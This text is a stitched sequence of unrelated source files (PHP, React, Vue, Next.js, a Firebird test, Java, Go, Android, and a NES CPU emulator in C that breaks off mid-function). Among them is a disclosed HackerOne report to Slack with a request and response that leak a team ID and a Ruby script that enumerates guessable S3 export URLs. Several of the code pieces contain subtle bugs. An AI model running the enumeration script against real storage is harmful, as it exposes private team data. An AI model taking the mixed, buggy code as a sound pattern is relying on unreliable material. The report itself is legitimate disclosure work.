array of parameters (such * as POST parameters) into a flat array of (key, value) paris. In case * of multi-dimentional arrays, square brackets ([]) will be added to the * key to indicate an array. * * @since 1.9 * * @param array $parray * @param string $prefix * @return array */ static protected function _flattenParametersArray($parray, $prefix = null) { if (! is_array($parray)) { return $parray; } $parameters = array(); foreach($parray as $name => $value) { // Calculate array key if ($prefix) { if (is_int($name)) { $key = $prefix . '[]'; } else { $key = $prefix . "[$name]"; } } else { $key = $name; } if (is_array($value)) { $parameters = array_merge($parameters, self::_flattenParametersArray($value, $key)); } else { $parameters[] = array($key, $value); } } return $parameters; } }
ReportLink:https://hackerone.com/reports/2746 WeaknessName:Improper Authentication - Generic Reporter:https://hackerone.com/jobert ReportedTo:Slack(slack) BountyAmount: Severity: State:Closed DateOfDisclosure:09.12.2014 20:34:59 Summary: The URLs that are used to download the exports can be guessed easily by an attacker. The location of the export file is based on a date, a team ID and a team name: ``` http://s3-us-west-2.amazonaws.com/slack-files2/<team_id>/export/<date>/<name>%20Slack%20export%20<date>.zip ``` The information an attacker needs, is the team its name and ID (the date needs to be enumerated). The information can be obtained due to a minor issue in the API (authentication). The following steps can be used to reproduce the issue. #Step 1: obtain team ID and team name The team ID and team name can be obtained by abusing some minor information leakage in the `auth.start` API call. The following request and response give an example. **Request** ``` POST /api/auth.start HTTP/1.1 ... email=jobert@hackerone.com ``` **Response** ``` HTTP/1.1 200 OK ... {"ok":true,"email":"jobert@hackerone.com","domain":"hackerone.com","users":[{"url":"https:\/\/hackerone.slack.com\/","team":"HackerOne","user":"jobert","team_id":"T0254389F","user_id":"U0254GYNR"}],"teams":[],"create":"https:\/\/slack.com\/create?email=jobert%40hackerone.com"} ``` As can be seen in the JSON response, it contains the team ID (`T0254389F`) and a name (`HackerOne`) we need for the download links. #Step 2: scrape S3 I wrote a rough PoC that scrapes S3 and shows the found exports (not something I'd use, just something I wrote for demonstration purposes -- feel free to use the team ID and name I mentioned before to check it out). ``` ruby require 'date' require 'net/http' require 'uri' team_id = ARGV[0] team_name = ARGV[1] def create_export_url(team_id, team_name, date) date_dir = date.strftime '%Y-%m-%d' date_file = date.strftime('%b %-d %Y').gsub ' ', '%20' "http://s3-us-west-2.amazonaws.com/slack-files2/#{team_id}/"\ "export/#{date_dir}/#{team_name}%20Slack%20export%20#{date_file}.zip" end date = Date.parse 'March 2nd, 2014' 365.times do uri = URI create_export_url(team_id, team_name, date) response = Net::HTTP.get_response uri if response.is_a? Net::HTTPOK puts "FOUND AN EXPORT: #{uri}" end date -= 1 end ``` To avoid these kind of issues, you could generate a link that [expires within a certain amount](http://css-tricks.com/snippets/php/generate-expiring-amazon-s3-link/) of time (let's say, `<time-export-completed>+30m`) or use random values in the filename if expiring is not an option (make sure you don't solely rely on "public domain info").
import CardCategory1 from "components/CardCategories/CardCategory1"; import CardCategory4 from "components/CardCategories/CardCategory4"; import Heading from "components/Heading/Heading"; import NavItem2 from "components/NavItem2"; import React, { FC } from "react"; import Nav from "shared/Nav/Nav"; import explore1Svg from "images/collections/explore1.svg"; import explore2Svg from "images/collections/explore2.svg"; import explore3Svg from "images/collections/explore3.svg"; import explore8Svg from "images/collections/explore8.svg"; // import UseCase from "images/Icons/UseCase.png"; import UseCase1 from "images/Icons/UseCase1.png"; import UseCase2 from "images/Icons/UseCase2.png"; import UseCase3 from "images/Icons/UseCase3.png"; import UseCase4 from "images/Icons/UseCase4.png"; import UseCase5 from "images/Icons/UseCase5.png"; import UseCase6 from "images/Icons/UseCase6.png"; // import CardCategory6 from "components/CardCategories/CardCategory6"; interface ExploreType { id: number; name: string; desc: string; image: string; svgBg: string; color?: string; } export interface SectionGridMoreExploreProps { className?: string; gridClassName?: string; boxCard?: "box1" | "box4" | "box6"; data?: ExploreType[]; } export const DEMO_MORE_EXPLORE_DATA = [ { id: 1, name: "Backpack", desc: "Use Case", image: UseCase1, svgBg: explore1Svg, color: "bg-indigo-50", }, { id: 2, name: "Shoes", desc: "Use Case", image: UseCase, svgBg: explore2Svg, color: "bg-slate-100/80", }, { id: 3, name: "Recycled Blanket", desc: "Use Case", image: UseCase, svgBg: explore3Svg, color: "bg-violet-50", }, { id: 4, name: "Circular Economy", desc: "Use Case", image: UseCase1, svgBg: explore8Svg, color: "bg-orange-50", }, { id: 5, name: "Emerging Media", desc: "Use Case", image: UseCase2, svgBg: explore8Svg, color: "bg-blue-50", }, { id: 6, name: "First-Party Data", desc: "Use Case", image: UseCase3, svgBg: explore8Svg, color: "bg-orange-50", }, { id: 7, name: "Sustainability", desc: "Use Case", image: UseCase4, svgBg: explore8Svg, color: "bg-stone-100", }, { id: 8, name: "Token Gating", desc: "Use Case", image: UseCase5, svgBg: explore8Svg, color: "bg-blue-50", }, { id: 9, name: "User Engagement", desc: "Use Case", image: UseCase6, svgBg: explore8Svg, color: "bg-slate-100/80", }, ]; const SectionGridMoreExplore: FC<SectionGridMoreExploreProps> = ({ className = "", boxCard = "box4", gridClassName = "grid-cols-1 md:grid-cols-2 xl:grid-cols-3", data = DEMO_MORE_EXPLORE_DATA.filter((_, i) => i < 6), }) => { const [tabActive, setTabActive] = React.useState("All"); const renderCard = (item: ExploreType) => { switch (boxCard) { case "box1": return ( <CardCategory1 key={item.id} name={item.name} desc={item.desc} featuredImage={item.image} /> ); case "box4": return ( <CardCategory4 name={item.name} desc={item.desc} bgSVG={item.svgBg} featuredImage={item.image} key={item.id} color={item.color} /> ); case "box6": return ( <CardCategory6 name={item.name} desc={item.desc} bgSVG={item.svgBg} featuredImage={item.image} key={item.id} color={item.color} /> ); default: return ( <CardCategory4 name={item.name} desc={item.desc} bgSVG={item.svgBg} featuredImage={item.image} key={item.id} color={item.color} /> ); } }; return ( <div className={`nc-SectionGridMoreExplore relative ${className}`} data-nc-id="SectionGridMoreExplore" > <div className={`grid gap-4 md:gap-7 ${gridClassName}`}> {data.map((item) => renderCard(item))} </div> </div> ); }; export default SectionGridMoreExplore;
<template> <v-menu dark location="top"> <template v-slot:activator="{ props }"> <flip-card v-bind="props" :class="cardClass"> <template v-slot:front> <card-front :card="card"></card-front> </template> <template v-slot:back> <card-back :card="card"></card-back> </template> </flip-card> </template> <v-list> <v-list-item v-for="(action, index) in card.actions" :key="index" :value="index" > <v-list-item-title @click="() => card.execute(action, player, { origin: 'hand'})">{{ action.name }}</v-list-item-title> </v-list-item> </v-list> </v-menu> </template> <script lang="ts"> import { defineComponent, PropType } from 'vue' import FlipCard from './FlipCard.vue'; import CardFront from './CardFront.vue'; import CardBack from './CardBack.vue'; import Card from '../../entities/Card'; import Player from '../../entities/Player'; export default defineComponent({ components: { FlipCard, CardFront, CardBack, }, props: { card: { type: Object as PropType<Card>, required: true, }, player: { type: Object as PropType<Player>, required: true, }, }, computed: { cardClass() { return { "rotated": this.card.tapped } } }, methods: {} }) </script> <style> .rotated { rotate: -90deg; } </style>
"use client" import { ProfileSchema } from '@/yupschema'; import { useFormik } from 'formik'; import Image from 'next/image'; import Link from 'next/link'; import { useRouter } from 'next/navigation'; import React, { useState } from 'react' import { toast } from 'react-toastify'; import AvatarModel from '../AvatarChangeModel'; import { useSession } from 'next-auth/react'; import { AiOutlineUser } from 'react-icons/ai'; export default function EditProfile({ userdata }) { const { data: session, update } = useSession(); const [disabled, setDisabled] = useState(true); const router = useRouter(); const handleOpen = () => { setDisabled(!disabled); }; const postapi = async (ogvalues) => { try { const response = await fetch(`/api/user/${userdata._id}`, { method: 'PUT', headers: { 'Content-type': 'application/json', }, body: JSON.stringify(ogvalues), }); if (!response.ok) { throw new Error('Failed to update profile'); } const { updatedUser } = await response.json(); await update({ ...session, user: { username: updatedUser.username, name: updatedUser.name, email: updatedUser.email } }) } catch (error) { console.error('Error updating profile:', error.message); toast.error('Failed to update profile'); } router.refresh(); } const { values, errors, touched, handleBlur, handleChange, handleSubmit } = useFormik({ initialValues: { username: userdata.username, name: userdata.name, email: userdata.email, avatar: userdata.avatar }, validationSchema: ProfileSchema, onSubmit: (async (values, action) => { if (values.username == userdata.username) { setDisabled(true); toast.promise((postapi(values)), { pending: "updating Profile", success: "Profile Updated Successfully", error: " Failed To Update" }); action.resetForm(); } else { try { const response = await fetch(`/api/validateusername?username=${values.username}`); const { isUsernameTaken } = await response.json(); if (isUsernameTaken) { toast.error('Username is already taken.'); } else { setDisabled(true); toast.promise((postapi(values)), { pending: "updating Profile", success: "Profile Updated Successfully", error: " Failed To Update" }); action.resetForm(); } } catch (error) { console.error('Error validating username:', error); } } } ), }); return (<> <div className=' flex items-center w-full mb-5'> <div className="mx-auto relative "> <div className='absolute right-5 top-0 w-1 h-1' > <AvatarModel userId={userdata._id} /> </div> { userdata.avatar ? (<Image width={100} height={100} src={userdata.avatar} alt={userdata.uername} className='mx-auto rounded-full border dark:border-slate-500' />) : (<AiOutlineUser size={100} className=' p-2 mx-auto rounded-full text-slate-600 dark:text-slate-500 border dark:border-slate-500' />) } </div> </div> <div className="flex justify-between w-full items-baseline"> <button onClick={handleOpen} className="mb-5 rounded border border-primary bg-primary p-2 transition hover:bg-opacity-90 dark:hover:bg-opacity-50 disabled:cursor-not-allowed disabled:bg-gray-500 bg-purple-600 dark:bg-purple-500 dark:border-gray-500 text-white" > {disabled ? "wana update?" : "cancel"} </button> {userdata.provider === "google" ? null : ( <Link href={'/user/password'} className='hover:underline hover:text-purple-500'>Change Password</Link>)} </div> <form onSubmit={handleSubmit} autoComplete="off"> <div className='mb-6'> <div className={`border ${errors.username && touched.username ? "border-red-400 dark:border-red-600" : "dark:border-gray-600"} border-stroke bg-white dark:bg-slate-800 flex items-center rounded`}> <p className="px-3 text-gray-600 dark:text-gray-300 text-base w-2/6">username</p> <input disabled={disabled} className={`w-4/6 rounded px-[14px] py-3 text-base bg-white dark:bg-slate-800 focus:outline-none disabled:opacity-50`} placeholder={userdata.username} name='username' value={values.username} onChange={handleChange} onBlur={handleBlur} /> </div> {errors.username && touched.username ? ( <p className=" text-red-600 dark:text-red-500 text-sm">* {errors.username}</p> ) : null} </div> <div className='mb-6'> <div className={`border ${errors.name && touched.name ? "border-red-400 dark:border-red-600 placeholder-red-600/50" : " dark:border-gray-600"} border-stroke bg-white dark:bg-slate-800 flex items-center rounded `}> <p className="px-3 text-gray-600 dark:text-gray-300 text-base w-2/6">Name</p> <input className={` w-4/6 rounded px-[14px] py-3 text-base bg-white dark:bg-slate-800 focus:outline-none disabled:opacity-50`} placeholder={userdata.name} name='name' value={values.name} onChange={handleChange} onBlur={handleBlur} disabled={disabled} /> </ div> {errors.name && touched.name ? ( <p className=" text-red-600 dark:text-red-500 text-sm">* {errors.name}</p> ) : null} </div> <div className='mb-6'> <div className={`border ${errors.email && touched.email ? "border-red-400 dark:border-red-600 placeholder-red-600/50" : " dark:border-gray-600"} border-stroke bg-white dark:bg-slate-800 flex items-center rounded `}> <p className="px-3 text-gray-600 dark:text-gray-300 text-base w-2/6">Email</p> <input disabled={(userdata.provider == "google" ? true : false) || disabled} className={` w-4/6 rounded px-[14px] py-3 text-base bg-white dark:bg-slate-800 focus:outline-none disabled:opacity-50`} placeholder={userdata.email} name='email' value={values.email} onChange={handleChange} onBlur={handleBlur} /> </ div> {userdata.provider === "google" ? (<p className=" text-red-600 dark:text-red-500 text-sm">You can&apos;t update email because you logged in using Google</p>) : null} {errors.email && touched.email ? ( <p className=" text-red-600 dark:text-red-500 text-sm">* {errors.email}</p> ) : null} </div> { !disabled ? ( <button type="submit" className="rounded border border-primary bg-primary px-7 py-2 transition hover:bg-opacity-90 dark:hover:bg-opacity-50 disabled:cursor-not-allowed disabled:bg-gray-500 bg-purple-600 dark:bg-purple-500 dark:border-gray-500 text-white" > Update </button> ) : null } </form> </> ) }
{ 'id': 'functional.session.alter-session-reset-decfloat', 'qmid': None, 'tracker_id': '', 'title': """ ALTER SESSION RESET: DECFLOAT parameters must be returned to default values """, 'description': """ Test issue from CORE-5832 about ALTER SESSION RESET: "DECFLOAT parameters (BIND, TRAP and ROUND) must be reset to default values". We change all three specified parameters and evaluate some expressions. Then we run RESET SESSION and evaluate the same expressions. Results must differ for all of them. NOTE-1. FDB driver 2.0.1 does not support DEFCFLOAT datatype (at least version 2.0.1), so test type must be ISQL. NOTE-2. *** SET AUTODDL OFF REQUIRED *** Following is detailed explanation of this note: ======== Default ISQL behaviour is to start always *TWO* transactions (for DML and second for DDL) after previous commit / rollback and before *ANY* further satement is to be executed, except those which control ISQL itself (e.g. 'SET TERM'; 'IN ...'; 'SET BAIL' etc). So, even when statement <S> has nothing to change, ISQL will start TWO transactions just before executing <S>. This means that these transactions will start even if want to run 'ALTER SESSION RESET'. This, in turn, makes one of them (which must perform DDL) be 'active and NOT current' from ALTER SESSION point of view (which is run within DML transaction). According to description given in CORE-5832, ALTER SESSION throws error isc_ses_reset_err "if any open transaction exist in current conneciton, *except of current transaction* and prepared 2PC transactions which is allowed and ignored by this check". So, we have to prohibit 'autostart' of DDL-transaction because otherwise ALTER SESSION will throw: "SQLSTATE = 01002 / Cannot reset user session / -There are open transactions (2 active)". This is done by 'SET AUTODDL OFF' statement at the beginning of this test script. ======== Thanks to Vlad for explanations (discussed 18.01.2021). Checked on 4.0.0.2307 SS/CS. """, 'min_versions': '4.0.0', 'versions': [ { 'firebird_version': '4.0', 'platform': 'All', 'test_type': 'ISQL', 'test_script': """ recreate table test(a decfloat, b decfloat, c decfloat); insert into test(a,b,c) values(1608.90, 5.00, 100.00); commit; set list on; set autoddl off; commit; set bind of decfloat to smallint; set decfloat traps to; set decfloat round ceiling; set sqlda_display on; select cast(1234.5678 as decfloat(16)) as "before_reset: check datatype" from rdb$database; set sqlda_display off; -- Should issue: Infinity select 1/1e-9999 as "before_reset: check division result" from rdb$database; select a * b / c as "before_reset: check round result" from test; -------------------- alter session reset; -------------------- set sqlda_display on; select cast(1234.5678 as decfloat(16)) as "after_reset: check datatype" from rdb$database; set sqlda_display off; -- Should issue: -- Statement failed, SQLSTATE = 22012 -- Decimal float divide by zero. The code attempted to divide a DECFLOAT value by zero. select 1/1e-9999 "after_reset: check division result" from rdb$database; select a * b / c as "after_reset: check round result" from test; """, 'expected_stdout': """ 01: sqltype: 500 SHORT scale: 0 subtype: 0 len: 2 before_reset: check datatype 1235 before_reset: check division result 0 before_reset: check round result 81 01: sqltype: 32760 DECFLOAT(16) scale: 0 subtype: 0 len: 8 after_reset: check datatype 1234.5678 after_reset: check round result 80.445 """, 'expected_stderr': """ Statement failed, SQLSTATE = 22012 Decimal float divide by zero. The code attempted to divide a DECFLOAT value by zero. """, 'substitutions':[ ('^((?!(sqltype|before_reset|after_reset)).)*$',''), ('[ \t]+',' '), ('.*alias.*', '') ] } ] }
package Business; public class Employee { private int id; private String firstName; private String lastName; private int salary; public Employee(int id, String firstName, String lastName, int salary){ this.id = id; this.firstName = firstName; this.lastName = lastName; this.salary = salary; } public float getID() { return id; } public String getFirstName() { return firstName; } /** Returns the area of this Shape.Rectangle instance */ public String getLastName() { return lastName; } public float getSalary() { return salary; } public String getName() { return firstName + " " + lastName; } public int getAnnualSalary() { return salary * 12; } public void setSalary(int salary) { this.salary = salary; } public int raiseSalary(int percentage) { double decimalPercentage = percentage / 100.0; System.out.println("decimalPercentage: " + decimalPercentage); double raise = this.salary * decimalPercentage; System.out.println("raise: " + raise); this.salary = (int) raise + this.salary; return this.salary; } public String toString() { return "Employee[id=" + id + " name=" + getName() + " salary=" + salary + "]"; } }
package main import ( "embed" "fmt" b "gospace/basic" "os" "path/filepath" "time" "github.com/hajimehoshi/ebiten/v2" ) func LoadImagesFromFolder(folder embed.FS) []*ebiten.Image { var images []*ebiten.Image // Walk through the folder and get all files with the .png extension err := filepath.WalkDir("basic/assets/meteors", func(path string, d os.DirEntry, err error) error { if err != nil { return err } if filepath.Ext(path) == "*.png" { fmt.Println("Loading image:", path) images = append(images, b.MustLoadImage(path)) } return nil }) if err != nil { panic(err) } return images } func main() { g := &Game{ player: NewPlayer(), meteorSpawnTimer: b.NewTimer(time.Second * 2), } err := ebiten.RunGame(g) if err != nil { panic(err) } }
import { useState } from "react"; import { createSegmentUser } from "../api/createSegmentUser"; import { sendEmail } from "../api/sendEmail"; enum Status { IDLE, SENDING_EMAIL } interface InviteResponse { email: string; phone: string; setEmail: (email: string) => void; setPhone: (phone: string) => void; sendPromotionalEmail: () => void; isEmailSending: boolean; } export const useInvite = (): InviteResponse => { const [status, setStatus] = useState(Status.IDLE); const [email, setEmail] = useState(""); const [phone, setPhone] = useState(""); const sendPromotionalEmail = async () => { setStatus(Status.SENDING_EMAIL); try { await createSegmentUser(email, phone); await sendEmail(email, phone); } catch { } finally { setStatus(Status.IDLE); } }; return { email, phone, setEmail, setPhone, sendPromotionalEmail, isEmailSending: status === Status.SENDING_EMAIL }; };
package com.example.hotel_; import android.annotation.SuppressLint; import android.app.AlarmManager; import android.app.NotificationChannel; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.Context; import android.content.Intent; import android.os.Build; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.annotation.RequiresApi; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.NotificationCompat; import com.example.hotel_.databinding.ActivityNotificationBinding; import com.google.firebase.auth.FirebaseAuth; import com.google.firebase.database.DataSnapshot; import com.google.firebase.database.DatabaseError; import com.google.firebase.database.FirebaseDatabase; import com.google.firebase.database.ValueEventListener; public class NotificationActivity extends AppCompatActivity { ActivityNotificationBinding binding; String title, message; Long time; @RequiresApi(api = Build.VERSION_CODES.O) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); binding = ActivityNotificationBinding.inflate(getLayoutInflater()); setContentView(binding.getRoot()); long currentTimeInMillis = System.currentTimeMillis(); createChannel(); binding.allowNotification.setOnClickListener(view -> { scheduleNotification(); startActivity(new Intent(NotificationActivity.this , MainDashboardActivity.class)); finish(); }); // String channel_id = "channel_id"; // NotificationCompat.Builder builder = new NotificationCompat.Builder(getApplicationContext(), channel_id) // .setSmallIcon(R.drawable.ic_launcher_foreground) // .setContentTitle("Food Order Notification") // .setContentText("Seat 4 reserved. Welcome") // .setPriority(NotificationCompat.PRIORITY_DEFAULT); // Intent intent = new Intent(getApplicationContext(), NotificationActivity.class); // PendingIntent pendingIntent = PendingIntent.getBroadcast( // NotificationActivity.this, // 1, // intent, // PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT // ); // builder.setContentIntent(pendingIntent); // NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); // if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { // NotificationChannel notificationChannel = notificationManager.getNotificationChannel(channel_id); // if (notificationChannel == null) { // int importance = NotificationManager.IMPORTANCE_HIGH; // notificationChannel = new NotificationChannel(channel_id, "Description", importance); // notificationManager.createNotificationChannel(notificationChannel); // // } // } // notificationManager.notify(0 , builder.build()); // }); FirebaseDatabase.getInstance().getReference().child( FirebaseAuth.getInstance().getCurrentUser().getUid() ).addListenerForSingleValueEvent(new ValueEventListener() { @Override public void onDataChange(@NonNull DataSnapshot snapshot) { title = snapshot.child("title").getValue(String.class); message = snapshot.child("message").getValue(String.class); time = snapshot.child("time").getValue(Long.class); } @Override public void onCancelled(@NonNull DatabaseError error) { } }); } @SuppressLint("ScheduleExactAlarm") private void scheduleNotification() { Intent intent = new Intent(NotificationActivity.this, Notification.class); intent.putExtra("titleExtra", title); intent.putExtra("messageExtra", message); PendingIntent pendingIntent = PendingIntent.getBroadcast( NotificationActivity.this, 1, intent, PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT ); AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE); alarmManager.setExactAndAllowWhileIdle( AlarmManager.RTC_WAKEUP, time, pendingIntent ); } @RequiresApi(api = Build.VERSION_CODES.O) private void createChannel() { String name = "Vaccination"; String desc = "Channel description"; int importance = NotificationManager.IMPORTANCE_DEFAULT; NotificationChannel channel = new NotificationChannel("notificationChannel", name, importance); channel.setDescription(desc); NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); notificationManager.createNotificationChannel(channel); } }
#include "nes-cpu.hpp" internal void nes_cpu_stack_push(NesCpu* cpu, nes_val value) { nes_memory_map_write(&cpu->mem_map, (cpu->registers.sp + NES_MEM_MAP_STACK_ADDR), value); //the stack goes in reverse, so if we are getting down to the beginning //of the stack's address space, we need to reset the stack pointer to the //top //otherwise, we just decrement the stack pointer if (cpu->registers.sp == NES_MEM_MAP_STACK_PTR_END) { cpu->registers.sp = NES_MEM_MAP_STACK_PTR_BEGIN; } else { --cpu->registers.sp; } } internal nes_val nes_cpu_stack_pull(NesCpu* cpu) { nes_val stack_val = nes_memory_map_read(&cpu->mem_map, (NES_MEM_MAP_STACK_ADDR + cpu->registers.sp)); //update the stack pointer //the stack is reverse, so we incriment the pointer //if it gets to the top of the stack's address space, //it needs to be reset to the bottom if (cpu->registers.sp == NES_MEM_MAP_STACK_PTR_BEGIN) { cpu->registers.sp = NES_MEM_MAP_STACK_PTR_END; } else { ++cpu->registers.sp; } return stack_val; } internal void nes_cpu_flag_set(NesCpu* cpu, u8 flag) { SetBitInByte(flag, cpu->registers.p); } internal void nes_cpu_flag_clear(NesCpu* cpu, u8 flag) { ClearBitInByte(flag, cpu->registers.p); } internal u8 nes_cpu_flag_read(NesCpu* cpu, u8 flag) { return (ReadBitInByte(flag, cpu->registers.p)); } internal void nes_cpu_interrupt(NesCpu* cpu, NesCpuInterruptType interrupt_type) { if (interrupt_type == NesCpuInterruptType::IRQ) { //this is a software interrupt, we start by pushing PC+2 to the stack as the return address //PC+1 is spacing for a break mark and is not needed nes_cpu_stack_push(cpu, nes_memory_map_read(&cpu->mem_map, cpu->registers.pc+2)); } else { //push the program counter onto the stack nes_cpu_stack_push(cpu, cpu->registers.pc); } //push the status register onto the stack nes_cpu_stack_push(cpu, cpu->registers.p); //set the address for the interrupt routine switch (interrupt_type) { case NesCpuInterruptType::IRQ: { cpu->registers.pc = NES_CPU_INTERRUPT_VECTOR_BRK; } break; case NesCpuInterruptType::NMI: { cpu->registers.pc = NES_CPU_INTERRUPT_VECTOR_NMI; } break; case NesCpuInterruptType::RST: { cpu->registers.pc = NES_CPU_INTERRUPT_VECTOR_RST; } break; default: { //by default hardware reset cpu->registers.pc = NES_CPU_INTERRUPT_VECTOR_RST; } break; } int x = ((nes_val*)cpu)[65532]; int y = ((nes_val*)cpu)[0xFFFC]; //clear the other status values nes_cpu_flag_clear(cpu,NES_CPU_FLAG_C); nes_cpu_flag_clear(cpu,NES_CPU_FLAG_Z); nes_cpu_flag_clear(cpu,NES_CPU_FLAG_I); nes_cpu_flag_clear(cpu,NES_CPU_FLAG_D); nes_cpu_flag_clear(cpu,NES_CPU_FLAG_B); nes_cpu_flag_clear(cpu,NES_CPU_FLAG_V); nes_cpu_flag_clear(cpu,NES_CPU_FLAG_N); //set the result interrupt disable flag to true nes_cpu_flag_set(cpu,NES_CPU_FLAG_I); } internal void nes_cpu_flag_check(NesCpu* cpu, u8 flag) { u16 result = cpu->current_instr.result.value; switch (flag) { case NES_CPU_FLAG_C: { if (result > 255) SetBitInByte(NES_CPU_FLAG_C,cpu->registers.p); } break; case NES_CPU_FLAG_Z: { if (result == 0) SetBitInByte(NES_CPU_FLAG_Z,cpu->registers.p); } break; case NES_CPU_FLAG_V: { if (result > 0xFF) SetBitInByte(NES_CPU_FLAG_V,cpu->registers.p); } break; case NES_CPU_FLAG_N: { if (result > 127) SetBitInByte(NES_CPU_FLAG_N,cpu->registers.p); } break; case NES_CPU_FLAG_B: { if (nes_cpu_flag_read(cpu,NES_CPU_FLAG_I) == 0) { nes_cpu_interrupt(cpu, NesCpuInterruptType::IRQ); } } break; default: break; } } internal nes_val nes_cpu_program_read(NesCpu* cpu) { nes_val read_val = nes_memory_map_read(&cpu->mem_map, cpu->registers.pc); ++cpu->registers.pc; return (read_val); } internal nes_val nes_cpu_program_read_indexed(NesCpu* cpu, nes_val offset) { nes_val read_val = (nes_cpu_program_read(cpu) + offset); ++cpu->registers.pc; return (read_val); } internal void nes_cpu_update_prg_rom(NesCpu* cpu, nes_val* low_bank, nes_val* high_bank) { // memmove(cpu->mem_map.prg_rom.lower_bank, low_bank, NES_MEM_MAP_LOWER_PRG_ROM_SIZE); // memmove(cpu->mem_map.prg_rom.upper_bank, high_bank, NES_MEM_MAP_UPPER_PRG_ROM_SIZE); } internal void nes_cpu_reset(NesCpu* cpu) { nes_cpu_interrupt(cpu, NesCpuInterruptType::RST); } internal void nes_cpu_decode_operand_address_from_address_mode(NesCpu* cpu) { nes_addr address = 0; nes_addr addr_lower = 0; nes_addr addr_upper = 0; switch(cpu->current_instr.addr_mode) { case NesCpuAddressMode::zero_page: { sprintf(cpu->debug_info.addr_mode_str,"MODE: ZP "); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); address = nes_cpu_program_read(cpu); cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); } break; case NesCpuAddressMode::zero_page_indexed_x: { sprintf(cpu->debug_info.addr_mode_str,"MODE: ZP-X "); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); address = nes_cpu_program_read_indexed(cpu, cpu->registers.ir_x); cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); } break; case NesCpuAddressMode::zero_page_indexed_y: { sprintf(cpu->debug_info.addr_mode_str,"MODE: ZP-Y "); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); address = nes_cpu_program_read_indexed(cpu, cpu->registers.ir_y); cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); } break; case NesCpuAddressMode::absolute: { sprintf(cpu->debug_info.addr_mode_str,"MODE: ABS "); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); addr_lower = nes_cpu_program_read(cpu); sprintf(cpu->debug_info.pc_p2_val_str, "PC+2: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); addr_upper = nes_cpu_program_read(cpu); address = (addr_upper << 8) + addr_lower; cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); } break; case NesCpuAddressMode::absolute_indexed_x: { sprintf(cpu->debug_info.addr_mode_str,"MODE: ABS-X"); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); addr_lower = nes_cpu_program_read(cpu); sprintf(cpu->debug_info.pc_p2_val_str, "PC+2: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); addr_upper = nes_cpu_program_read(cpu); address = (addr_upper << 8) + addr_lower + cpu->registers.ir_x; cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); cpu->current_instr.result.page_boundary_crossed = (((addr_upper << 8) + addr_lower) & 0xFF00) != (address * 0xFF00); } break; case NesCpuAddressMode::absolute_indexed_y: { sprintf(cpu->debug_info.addr_mode_str,"MODE: ABS-Y"); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); addr_lower = nes_cpu_program_read(cpu); sprintf(cpu->debug_info.pc_p2_val_str, "PC+2: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); addr_upper = nes_cpu_program_read(cpu); address = (addr_upper << 8) + addr_lower + cpu->registers.ir_y; cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); cpu->current_instr.result.page_boundary_crossed = (((addr_upper << 8) + addr_lower) & 0xFF00) != (address * 0xFF00); } break; case NesCpuAddressMode::indirect: { sprintf(cpu->debug_info.addr_mode_str,"MODE: IND "); nes_addr addr_indirect_lower = 0; nes_addr addr_indirect_upper = 0; sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); addr_lower = nes_cpu_program_read(cpu); sprintf(cpu->debug_info.pc_p2_val_str, "PC+2: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); addr_upper = nes_cpu_program_read(cpu); nes_addr indirect_addr = (addr_indirect_upper << 8) + addr_indirect_lower; addr_lower = nes_memory_map_read(&cpu->mem_map, indirect_addr); addr_upper = nes_memory_map_read(&cpu->mem_map, indirect_addr + 1); address = (addr_upper << 8) + addr_lower; cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); } break; //nothing to do, no memory used case NesCpuAddressMode::implied: { sprintf(cpu->debug_info.addr_mode_str,"MODE: IMP "); } break; case NesCpuAddressMode::accumulator: { sprintf(cpu->debug_info.addr_mode_str,"MODE: ACC "); cpu->current_instr.operand_addr = &cpu->registers.acc_a; } break; case NesCpuAddressMode::immediate: { sprintf(cpu->debug_info.addr_mode_str,"MODE: IMM "); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); *cpu->current_instr.operand_addr = nes_cpu_program_read(cpu); } break; case NesCpuAddressMode::relative: { sprintf(cpu->debug_info.addr_mode_str,"MODE: REL "); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); *cpu->current_instr.operand_addr = nes_cpu_program_read(cpu); } break; case NesCpuAddressMode::indexed_indirect_x: { sprintf(cpu->debug_info.addr_mode_str,"MODE: IND-X"); nes_addr zero_page_addr = 0; sprintf(cpu->debug_info.pc_p1_val_str, 